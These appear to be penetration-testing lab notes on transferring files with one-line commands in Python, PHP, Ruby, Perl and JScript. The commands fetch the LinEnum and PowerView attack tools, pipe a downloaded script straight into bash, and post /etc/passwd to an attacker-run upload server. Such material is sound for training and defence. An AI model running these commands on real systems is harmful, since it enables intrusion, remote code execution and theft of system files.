File Transfer with code

Download

Python

Downloading files using Python 2.7 on Linux:

[!bash!]$ python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'

Downloading files using Python 3 on Linux:

[!bash!]$ python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'

PHP

Download files with PHP File_get_contents():

[!bash!]$ php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'

Download files with PHP Fopen():

[!bash!]$ php -r 'const BUFFER = 1024; $fremote = 
fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'

Download file using PHP and pipe it to bash:

[!bash!]$ php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash

Ruby

[!bash!]$ ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'

Perl

[!bash!]$ perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'

JavaScript

Following JS code is based on here.

Create a file called wget.js:

var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));

We can use created wget.js along with cscript.exe to download files:

C:\htb> cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1

Upload

Python3

Start a uploadserver:

[!bash!]$ python3 -m uploadserver 
 
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Upload file:

[!bash!]$ python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'
